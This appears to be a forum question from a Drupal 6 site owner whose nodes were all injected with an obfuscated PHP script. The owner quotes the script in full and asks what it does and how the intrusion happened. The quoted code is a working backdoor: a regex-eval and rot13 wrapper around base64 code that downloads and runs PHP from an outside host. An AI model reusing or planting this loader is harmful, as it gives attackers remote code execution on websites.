title: SQL PHP injection attack in Drupal 6
body: <p>Today, all the nodes in my drupal 6 site appeared with this added php script</p>
  
  <pre><code> ?php $node-&gt;nid = 849;
       preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');
  
      if(@$node-&gt;body):
      ?php echo @$node-&gt;title;?
      ?php echo @$node-&gt;body;?
      ?php else:?
  
      ... here would go the original text of the node
  
      ?php endif;?
  </code></pre>
  
  <p>(I´ve removed some symbols to make sure you can correctly read the php code)</p>
  
  <p>So, I guess this means that somebody was able to update the information in the drupal tables and inject this php script.  </p>
  
  <p>1 - What is this PHP code doing (if anything)? (of course apart from preventing the visualization of the node content)<br>
  2 - Any idea of how did they manage to do this? Is a Drupal security leak? a Mysql one? 
  3 - I guess the only way to reinstaurate this is by completely restoring the database...  </p>